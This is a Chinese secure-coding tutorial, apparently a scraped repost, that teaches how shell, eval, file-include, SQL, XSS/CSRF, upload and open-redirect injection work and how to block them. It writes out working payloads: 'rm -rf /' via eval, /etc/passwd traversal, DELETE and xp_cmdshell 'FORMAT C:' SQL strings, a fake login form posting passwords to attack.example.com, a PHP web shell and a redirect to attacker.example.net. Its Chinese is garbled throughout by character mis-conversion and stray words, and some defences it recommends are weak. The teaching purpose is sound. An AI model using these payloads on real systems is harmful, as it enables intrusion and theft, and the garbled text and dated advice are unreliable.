程序员疫苗:代码注入

不少程序上错误就像人类世界的病毒同样,咱们应该给咱们的新入行的程序员注射一些疫苗,就像给新生儿打疫苗同样,但愿程序员从入行时就对这些错误有抵抗力。 javascript

个人那个疫苗网站正在建议中(很差意思拖了好久),不过,我能够先写一些关于程序员疫苗性质的文章,也算是热热身。但愿你们喜欢,先向你们介绍第一注疫苗——代码注入。 php

Shell注入

咱们先来看一段perl的代码: html

1
2
3
4
5
6
7
8
9
10
11
useCGI qw(:standard);
$name= param('name');
$nslookup="/path/to/nslookup";
printheader;
if(open($fh,"$nslookup $name|")) {
   while(<$fh>) {
        printescapeHTML($_);
        print"<br>\n";
    }
    close($fh);
}

若是用户输入的参数是: java

1
coolshell.cn%20%3B%20/bin/ls%20-l

那么,这段perl的程序就成了: node

 

1
/path/to/nslookupcoolshell.cn ;/bin/ls-l

咱们再来看一段PHP的程序: 程序员

1
2
3
$myvar='somevalue';
$x=$_GET['arg'];
eval('$myvar = '.$x.';');

eval“的参数将会视同PHP处理,因此额外的命令可被添加。例如:若是”arg”若是被设成”10; system('rm -rf /')“,后面的”system('rm -rf /')“代码将被运行,这等同在服务器上运行开发者意料外的程序。(关于rm -rf /,你懂的,可参看“一个空格引起的悲剧”) shell

再来看一个PHP的代码 数据库

1
2
3
4
5
6
$isadmin= false;
...
...
foreach($_GETas$key=>$value) {
  $$key=$value;
}

若是攻击者在查询字符串中给定”isadmin=1″,那$isadmin将会被设为值 “1″,而后攻击值就取得了网站应用的admin权限了。 浏览器

再来看一个PHP的示例: 安全

1
2
3
4
$action='login';
   if(__isset($_GET['act'] ) )
      $action=$_GET['act'];
   require($action.'.php');

这个代码至关危险,攻击者有可能能够干这些事:

  • /test.php?act=http://evil/exploit - 注入远程机器上有漏洞的文件。
  • /test.php?act=/home/www/bbs/upload/exploit - 从一个已经上载、叫作exploit.php文件运行其代码。
  • /test.php?act=../../../../etc/passwd%00 - 让攻击者取得该UNIX系统目录检索下密码文件的内容。一个使用空元字符以解除.php扩展名限制,容许访问其余非 .php 结尾文件。 (PHP默认值”magic_quotes_gpc = On”能够终止这种攻击)

这样的示例有不少,只要你的程序有诸如:system()StartProcess()java.lang.Runtime.exec()System.Diagnostics.Process.Start()以及相似的应用程序接口,都是比较危险的,最好不要让其中的字符串去拼装用户的输入。

PHP提供escapeshellarg()escapeshellcmd()以在调用方法之前进行编码。然而,实际上并不建议相信这些方法是安全的 。

SQL注入

SQL injection,是发生于应用程序之数据库层的安全漏洞。简而言之,是在输入的字符串之中注入SQL指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的SQL指令而运行,所以遭到破坏。

在应用程序中如有下列情况,则可能应用程序正暴露在SQL Injection的高风险状况下:

  1. 在应用程序中使用字符串联结方式组合SQL指令(如:引号没有转义)。
  2. 在应用程序连接数据库时使用权限过大的账户(如:不少开发人员都喜欢用sa(最高权限的系统管理员账户)链接Microsoft SQL Server数据库)。
  3. 在数据库中开放了没必要要但权力过大的功能(例如在Microsoft SQL Server数据库中的xp_cmdshell延伸预存程序或是OLE Automation预存程序等)
  4. 过于信任用户所输入的数据,未限制输入的字符数,以及未对用户输入的数据作潜在指令的检查。

例程:

某个网站的登陆验证的SQL查询代码为

1
2
strSQL ="SELECT * FROM users
WHERE (name = '"+ userName +"') and (pw = '"+passWord+"');"

用户在登陆时恶意输入以下的的用户名和口令:

1
userName ="' OR '1'='1";
1
passWord="' OR '1'='1";

此时,将致使本来的SQL字符串被解析为:

1
2
strSQL ="SELECT * FROM users
WHERE (name = '' OR '1'='1') and (pw = '' OR '1'='1');"

也就是实际上运行的SQL命令会变成下面这样的,所以致使无账号密码,也可登陆网站。

1
strSQL ="SELECT * FROM users;"

这还不算恶劣的,真正恶劣的是在你的语句后再加一个本身的语句,如:

1
username="' ; DELETE FROM users; --";

这样一来,要么整个数据库的表被人盗走,要么被数据库被删除。

因此SQL注入攻击被俗称为黑客的填空游戏。你是否还记得酷壳这篇文章里的SQL注入

当他们发现一个网站有SQL注入的时候,他们通常会干下面的事:

  • 盗取数据表中的数据,例如我的机密数据(信用卡,身份证,手机号,通信录……),账户数据,密码等,得到用户的数据和信息后对这些用户进行“社会工程学”活动(如:我前两天在微信上亲身经历)。
  • 取得系统管理员权限(例如ALTER LOGIN sa WITH PASSWORD=’xxxxxx’)。
  • 在数据库中的数据中插入一些HTML/JS代码,有可能得以在网页加入恶意连接以及XSS,这样一来就让访问者被黑。
  • 经由数据库服务器提供的操做系统支持,让黑客得以修改或控制操做系统(例如:MS SQL Server的 xp_cmdshell “net stop iisadmin”可中止服务器的IIS服务)。甚至破坏硬盘数据,瘫痪全系统(例如xp_cmdshell “FORMAT C:”)。
如今的黑客比较坏,瘫痪系统的事,他们干的愈来愈少,由于没什么利益,他们但愿经过获取用户的账号信息后,转而攻击用户别的账号,如游戏账号,网银账号,QQ账号等等他们能够获利的事情(这就是为何我但愿你们 在不站点上使用不一样的口令,甚至不一样的用户信息的缘由)

如何避免

  • 在组合SQL字符串时,先针对所传入的参数做字符转义(如:将单引号字符取代为连续2个单引号字符)。若是使用PHP开发网页程序的话,亦可打开PHP的Magic quote功能自动将全部的网页传入参数,将单引号字符取代为连续2个单引号字符。若是可能应该过滤如下字符:分号“;”,两个减号“–”,单引号“’”,注释“/* … */”。(固然,由于注入攻击通常用闭合的引号来玩,因此把引号转义了应该就没有什么问题了)
  • 更换危险字符。例如在PHP经过addslashes()函数保护SQL注入。
  • 限制用户输入的长度,限制用户输入的取值范围。
  • 为当前应用创建权限比较小的数据库用户,这样不会致使数据库管理员丢失。
  • 把数据库操做封装成一个Service,对于敏感数据,对于每一个客户端的IP,在必定时间内每次只返回一条记录。这样能够避免被拖库。

 

跨网站脚本注 入

跨网站脚本Cross-site scripting,一般简称为XSS或跨站脚本或跨站脚本攻击)是一种网站应用程序的安全漏洞攻击,是代码注入的一种。它经过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序一般是JavaScript,但实际上也能够包括Java, VBScript, ActiveX, Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能获得包括但不限于更高的权限(如执行一些操做)、私密网页内容、会话和cookie等各类内容。

假如咱们有这样一段PHP的代码:

1
2
$username=$_GET['username'];
echo'<div> Welcome, '.$username.'</div>';

那么咱们能够这样来注入:

http://trustedSite.example.com/welcome.php?username=<Script Language=”Javascript”>alert(“You’ve been attacked!”);</Script>

甚至这样:

http://trustedSite.example.com/welcome.php?username=<div id=”stealPassword”>Please Login:<form name=”input” action=”http://attack.example.com/stealPassword.php” method=”post”>Username: <input type=”text” name=”username” /><br/>Password: <input type=”password” name=”password” /><input type=”submit” value=”Login” /></form></div>

这会让网页显示如下内容:

1
2
3
4
5
6
7
8
9
10
<divclass="header"> Welcome,
    <divid="stealPassword">Please Login:
        <formname="input"action="attack.example.com/stealPassword.php"method="post">
            Username: <inputtype="text"name="username"/>
            <br/>
            Password: <inputtype="password"name="password"/>
            <inputtype="submit"value="Login"/>
        </form>
    </div>
</div>

注入的代码还有可能变种为以下这种更为隐蔽的方式(unicode码):

trustedSite.example.com/welcome.php?username=<script+type=”text/javascript”>
document.write(‘\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D’);</script>

XSS的攻击主要是经过一段JS程序得用用户已登陆的cookie去模拟用户的操做(甚至偷用户的cookie)。这个方式可让用户在本身不知情的状况下操做了本身不指望的操做。若是是网站的管理员中招,还有可能致使后台管理权限被盗。关于其中的一些细节能够参看《新浪微博的XSS攻击》一文。XSS攻击是程序员有一糊涂就很容易犯的错误,你还能够看看网上的《腾讯微博的XSS攻击》。

XSS攻击在论坛的用户签档里面(使用img标签)也发生过不少次,包括像一些使用bcode的网站,颇有可能会被注入一些能够被浏览器用来执行的代码。包括CSS都有可能被注入javascript代码。

另外,XSS攻击有一部分是和浏览器有关的。好比,以下的一些例子,你可能历来都没有想过吧?(更多的例子能够参看酷壳很早之前的这篇文章《浏览器HTML安全列表

1
2
3
4
5
<tablebackground=”javascript:alert(1)”>
 
<metacharset=”mac-farsi”>¼script¾alert(1)¼/script¾
 
<imgsrc=”javascript:alert(1)”>

XSS攻击一般会引起CSRF攻击。CSRF攻击主要是经过在A站上设置B站点上的连接,经过使用用户在B站点上的登陆且尚未过时的cookie,从而使得用户的B站点被攻击。(这得益于如今的多Tab页的浏览器,你们都会同时打开并登陆不少的网站,而这些不一样网站的页面间的cookie又是共享的)

因而,若是我在A站点内的某个贴子内注入这么一段代码:

颇有可能你就在访问A站的这个贴子时,你的网银可能向我转了一些钱。

如何避免

要防止XSS攻击,通常来讲有下面几种手段:

  • 严格限制用户的输入。最好不要让用户输入带标签的内容。最好不要让用户使用一些所见即所得的HTML编辑器。
  • 严格过滤用户的输入。如:
    • PHP的htmlentities()或是htmlspecialchars()或是strip_tags()
    • Python的cgi.escape()
    • ASP的Server.HTMLEncode()
    • Node.js的node-validator。
    • Java的xssprotect
  • 在一些关键功能,彻底不能信任cookie,必须要用户输入口令。如:修改口令,支付,修改电子邮件,查看用户的敏感信息等等。
  • 限制cookie的过时时间。
  • 对于CRSF攻击,一是须要检查http的reference header。二是不要使用GET方法来改变数据,三是对于要提交的表单,后台动态生成一个随机的token,这个token是攻击者很难伪造的。(对于token的生成,建议找一些成熟的lib库)

另外,你可能以为网站在处理用户的表单提交就好了,其实不是,想想那些Web Mail,我能够经过别的服务器向被攻击用户发送有JS代码、图片、Flash的邮件到你的邮箱,你打开一看,你就中招了。因此,WebMail通常都禁止显示图片和附件,这些都很危险,只有你彻底了解来源的状况下才能打开。电子邮件的SMTP协议太差了,基本上没法校验其它邮件服务器的可信度,我甚至能够本身建一个本机的邮件服务器,想用谁的邮件地址发信就用谁的邮件地址发信因此,我再次真诚地告诉你们,请用gmail邮箱。别再跟我说什么QQMail之类的好用了。

上传文件

上传文件是一个很危险的功能,尤为是你若是不校验上传文件的类型的话,你可能会中不少不少的招,这种攻击至关狠。试想,若是用户上传给你一个PHP、ASP、JSP的文件,当有人访问这个文件时,你的服务器会解释执行之,这就至关于他能够在你的服务器上执行一段程序。这无疑是至关危险的。

举个例子:

上传页面
1
2
3
4
5
6
<formaction="upload_picture.php"method="post"enctype="multipart/form-data">
要上传的文件:
<inputtype="file"name="filename"/>
<br/>
<inputtype="submit"name="submit"value="Submit"/>
</form>
后台上传文件的PHP程序
1
2
3
4
5
6
$target="pictures/".basename($_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'],$target)){
    echo"图片文件上传成功";
}else{</div>
    echo"图片文件上传失败";
}

假如我上传了一个PHP文件以下:

文件名malicious.php
1
2
3
<?php
system($_GET['cmd']);
?>

那么,我就能够经过以下的URL访问攻击你的网站了:

1
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l

抵御这样的攻击有两种手段:

1)限制上传文件的文件扩展名。

2)千万不要使用root或Administrator来运行你的Web应用。

URL跳转

URL跳转颇有可能会成为攻击利用的工具。

好比下面的PHP代码:

1
2
$redirect_url=$_GET['url'];
header("Location: ".$redirect_url);

这样的代码可能很常见,好比当用户在访问你的网站某个页观的时候没有权限,因而你的网站跳转到登陆页面,固然登陆完成后又跳转回刚才他访问的那个页面。通常来讲,咱们都会在跳转到登陆页面时在URL里加上要被跳转过去的网页。因而会出现上述那样的代码。

因而咱们就能够经过下面的URL,跳转到一个恶意网站上,而那个网站上可能有一段CSRF的代码在等着你,或是一个钓鱼网站。

1
http://bank.example.com/redirect?url=http://attacker.example.net

这种攻击具备的迷惑性在于,用户看到的http://bank.example.com,觉得是一个合法网站,因而就点了这个连接,结果经过这个合法网站,把用户带到了一个恶意网站,而这个恶意网站上可能把页面作得跟这个合法网站如出一辙,你还觉得访问的是正确的地方,结果就被钓鱼了

解决这个问题很简单,你须要在你的后台判断一下传过来的URL的域名是否是你本身的域名。

你能够看看Google和Baidu搜索引擎的连接跳转,百度的跳转连接是被加密过的,而Google的网站连接很长,里面有网站的明文,可是会有几个加密过的参数,若是你把那些参数移除掉,Google会显示一个重定向的提醒页面。(我我的以为仍是Google作得好)

相关文章
相关标签/搜索